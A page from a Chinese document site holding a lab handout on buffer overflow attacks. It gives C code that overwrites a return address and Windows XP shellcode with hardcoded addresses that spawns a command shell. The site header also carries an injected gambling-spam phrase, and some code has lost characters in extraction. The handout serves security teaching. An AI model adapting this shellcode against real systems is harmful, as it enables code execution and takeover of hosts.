- 1、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
- 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
实验单元四. 缓冲区溢出攻击技术 一、实验目的和要求 掌握缓冲区溢出的原理; 掌握缓冲区溢出漏洞的利用技巧; 理解缓冲区溢出漏洞的防范措施。 二、实验内容和原理 当然,随便往缓冲区中填东西造成它溢出一般只会出现“分段错误”(Segmentation fault),而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户 shell,再通过 shell 执行其它命令。如果该程序属于 root,攻击者就获得了一个有 root 权限的 shell,可以对系统进行任意操作。 缓冲区溢出攻击之所以成为一种常见安全攻击手段其原因在于缓冲区溢出漏洞太普遍了,并且易于实现。而且,缓冲区溢出成为远程攻击的主要手段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的一切:植入并且执行攻击代码。被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。 缓冲区溢出漏洞和攻击有很多种形式,而相应的防范手段也随者攻击方法的不同而不同。 三、实验项目缓冲区溢出产生cmd窗口; 改写函数返回地址; shellcode的编写; shellcode的植入。 四实验2)物质条件:Windows XP SP3、Linux、Gcc、Visual C++ 6.0 编译器等,OllyDbg; 3)相关文献资料:课件及网上收集的资料。 五操作方法与实验步骤 #include string.h #include stdio.h #includewindows.h //char name[]=AAAAAAAAAAAAAAAA; char name[]=AAAAAAAAAAAAABCD; int main() { char output[8]; strcpy(output, name);//内存拷贝,如果name长度超过8,则出现缓冲区溢出 for(int i=0;i8output[i];i++) { printf(\\0x%x,output[i]); } printf(\n); return 0; } 运行该程序产生访问异常: 由于拷贝字符串时产生缓冲区溢出,用“ABCD”字符串的值覆盖了原来EIP的值,所以main函数返回时EIP指引发访问异常。 运行命令窗口的shellcode shellcode测试代码如下: #include string.h #include stdio.h #includewindows.h char name[]= \x41\x41\x41\x41 \x41\x41\x41\x41 \x41\x41\x41\x41 ///覆盖ebp \x12\x45\xfa\x7f ////覆盖eip, jmp esp地址7ffa4512 \x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d \xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63 \xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e \xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c \x8d\x45\xf4\x50\xb8 \x77\x1d\x80\x7c // LoadLibraryW的地址 \xff\xd0 \x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73 \xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72 \xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63 \xc6\x45\xfb\x6d\xc6\x45\xfc\x64\x8d\x7d\xf4\x57 \xba \xc7\x93\xbf\x77 // System 的地址 \xff\xd2; int main() { char output[8]; strcpy(output, name); for(int i=0;i8output[i];i++) { printf(\\0x%x,output[i]); } printf(\n); return 0; } shell
文档评论(0)